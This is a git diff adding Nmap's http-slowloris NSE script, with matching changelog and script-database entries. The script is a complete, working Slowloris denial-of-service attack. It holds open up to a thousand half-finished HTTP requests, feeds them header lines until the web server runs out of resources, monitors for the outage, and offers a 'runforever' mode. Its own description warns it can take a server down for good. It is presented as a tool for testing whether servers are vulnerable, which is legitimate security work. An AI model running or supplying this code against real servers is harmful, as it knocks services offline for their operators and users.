diff --git a/CHANGELOG b/CHANGELOG
index d3be39bd8..185464ff2 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,8 @@
# Nmap Changelog ($Id$); -*-text-*-
+o [NSE] Added http-slowloris script which performes a slowloris DoS attack
+ against a Web server and reports if it's vulnerable or not. [Aleksandar Nikolic]
+
o Added a new --disable-arp-ping option. This option prevents Nmap
from implicitly using ARP or ND host discovery for directly
connected Ethernet targets. This is useful in networks using proxy
diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse
new file mode 100644
index 000000000..68bffad44
--- /dev/null
+++ b/scripts/http-slowloris.nse
@@ -0,0 +1,251 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local http = require "http"
+
+description = [[
+Tests a webserver against the Slowloris DoS attack, as it was described at
+Defcon 17 by RSnake
+(see http://ha.ckers.org/slowloris/)
+
+This script opens and maintains numerous 'half-http' connections until the
+webserver runs out of ressources, leading to a denial of service.
+When the DoS condition is met the script then stops the attack and returns
+the payload datas as they could be usefull to tweak further filtering rules:
+- Time taken until DoS
+- Number of sockets used
+- Number of queries sent
+By default the script runs for 30 minutes if DoS is not achieved.
+
+Please note that the number of concurrent connexions must be defined with the
+--max-parallelism option (default is 20, suggested is 400 or more)
+Also, be advised that in some cases this attack can bring the whole webserver
+definitively down, and not just while the attack holds the ressources
+(ie: stopping the attack will not bring the server up again).
+
+Also, due to Windows limitations, the attack is unlikely to work
+when ran from a Windows machine.
+
+]]
+
+---
+-- @usage
+-- nmap --script http-slowloris --max-parallelism 400
+--
+-- @args http-slowloris.timeout Time to wait before sending new http header datas
+-- in order to maintain the connection. Defaults to 100 seconds.
+-- @args http-slowloris.runforever Specify that the script should continue the attack forever.
+-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default).
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu))
+-- | http-slowloris:
+-- | Vulnerable:
+-- | the DoS attack took +2m22s
+-- | with 501 concurrent connections
+-- |_ and 441 sent queries
+
+author = "Aleksandar Nikolic, Ange Gutek"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"dos", "intrusive"}
+
+
+portrule = shortport.http
+
+local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil
+
+-- get time (in miliseconds) when the script should finish
+local function get_end_time()
+ local t = nmap.timing_level()
+ local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m")
+ local end_time = 1000 * limit + nmap.clock_ms()
+ return end_time
+end
+
+local threads = 0 -- this will save the amount of still connected threads
+local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache)
+local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources
+local server_notice
+local dosed = false
+local stop_all = false
+
+local doHalfhttp = function(host,port,obj)
+ local condvar = nmap.condvar(obj)
+ local get_uri = math.random(100000, 900000) -- we will query a random page
+
+ if stop_all then
+ condvar "signal"
+ return
+ end
+
+ -- create socket
+ local slowloris = nmap.new_socket()
+ slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting
+ local catch = function()
+ local count = threads -- retrieve the number of already effective connections
+ -- this connection is now dead
+ count = count - 1
+ stdnse.print_debug("HALF_HTTP: " .. ": lost connection, "..count.." still remain")
+ threads = count
+ slowloris:close()
+ slowloris = nil
+ condvar "signal"
+ end
+
+ local try = nmap.new_try(catch)
+ try(slowloris:connect(host.ip, port))
+
+ -- Build a half-http header.
+ local half_http = "POST /"..get_uri.." HTTP/1.1\r\n"
+ half_http = half_http.."Host: "..host.ip.."\r\n"
+ half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ half_http = half_http.."Content-Length: 42\r\n"
+ try(slowloris:send(half_http))
+ server_notice = " (attack against "..host.ip.."): HTTP stream started."
+
+ -- retrieve the number of already effective connections
+ local count = threads
+ count = count + 1
+ threads = count
+ -- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached.
+ if sockets <= threads then sockets = threads end
+
+ local feed_interval = stdnse.get_script_args("http-slowloris.timeout")
+ if feed_interval == nil then feed_interval = 100 end
+
+ -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
+ while true do
+ if stop_all then
+ break
+ end
+ stdnse.sleep(feed_interval)
+ try(slowloris:send("X-a: b\r\n"))
+ server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..."
+ queries = queries + 1
+ server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..threads.." connections."
+ end
+ slowloris:close()
+ condvar "signal"
+end
+
+
+-- Monitor the web server
+local doMonitor = function(host,port)
+
+ local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
+ stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started")
+ local request = "GET / HTTP/1.1\r\nHost: "..host.ip
+ .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
+
+ local catch = function()
+ stdnse.print_debug("MONITOR: " .. " (monitor on ".. host.ip .. "): Monitoring has shut down due to lack of response from the webserver." )
+ monitor:close()
+ request_faults = request_faults +1
+ end
+
+ while not stop_all do
+ monitor = nmap.new_socket()
+ monitoring = nmap.new_try(catch)
+ monitoring(monitor:connect(host.ip, port))
+ monitoring(monitor:send(request))
+ local status, data = monitor:receive_lines(1)
+ if not status then
+ stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." )
+ monitor:close()
+ request_faults = request_faults +1
+ if request_faults > 3 then
+ if runforever == nil then
+ stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.")
+ dosed = true
+ end
+ monitor:close()
+ break
+ end
+ else
+ request_faults = 0
+ stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." )
+ stdnse.sleep(10)
+ monitor:close()
+ end
+ if stop_all then
+ break
+ end
+ end
+end
+
+local mutex = nmap.mutex("http-slowloris")
+
+local threads = {}
+
+local worker_schedluer = function(host, port)
+ local obj = {}
+ local condvar = nmap.condvar(obj)
+ local i
+ for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack
+ local co = stdnse.new_thread(doHalfhttp, host, port,obj)
+ threads[co] = true
+ end
+
+ while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely
+ repeat
+ condvar "wait"
+ if stop_all then
+ return
+ end
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then
+ threads[thread] = nil
+ stdnse.print_debug("starting new thread")
+ local co = stdnse.new_thread(doHalfhttp, host, port,obj)
+ threads[co] = true
+ end
+ end
+ until next(threads) == nil;
+ end
+end
+
+action = function(host, port)
+
+ mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified
+ -- in order to have as many sockets as we can available to this script
+
+ local output={}
+ local start,stop,dos_time
+
+ start = os.date("!*t")
+ -- The first thread is for monitoring and is launched before the attack threads
+ local mon = stdnse.new_thread(doMonitor, host, port)
+ stdnse.sleep(2) -- let the monitor make the first request
+
+
+ stdnse.print_debug("MAIN THREAD: starting schedluer")
+ local sched = stdnse.new_thread(worker_schedluer, host, port)
+ local end_time = get_end_time()
+ local last_message
+ if not (runforever == nil) then
+ stdnse.print_debug("RUNNING FOREVER")
+ end
+ -- return a live notice from time to time
+ while nmap.clock_ms() < end_time or not (runforever == nil) do
+ if server_notice ~= last_message then -- don't flood the output by repeating the same info
+ stdnse.print_debug("MAIN THREAD: " .. server_notice)
+ last_message = server_notice
+ end
+ if dosed then
+ break
+ end
+ stdnse.sleep(10)
+ end
+
+ stop = os.date("!*t")
+ dos_time = stdnse.format_difftime(stop,start)
+ stop_all = true
+ if dosed then
+ stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME)
+ output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
+ mutex "done" -- release the mutex
+ return stdnse.format_output(true, output)
+ end
+ mutex "done" -- release the mutex
+ return false
+end
diff --git a/scripts/script.db b/scripts/script.db
index b7bae20f2..4b1100ae2 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -172,6 +172,7 @@ Entry { filename = "http-robots.txt.nse", categories = { "default", "discovery",
Entry { filename = "http-robtex-reverse-ip.nse", categories = { "discovery", "external", "safe", } }
Entry { filename = "http-robtex-shared-ns.nse", categories = { "discovery", "external", "safe", } }
Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }
Entry { filename = "http-sql-injection.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "http-title.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "http-tplink-dir-traversal.nse", categories = { "exploit", "vuln", } }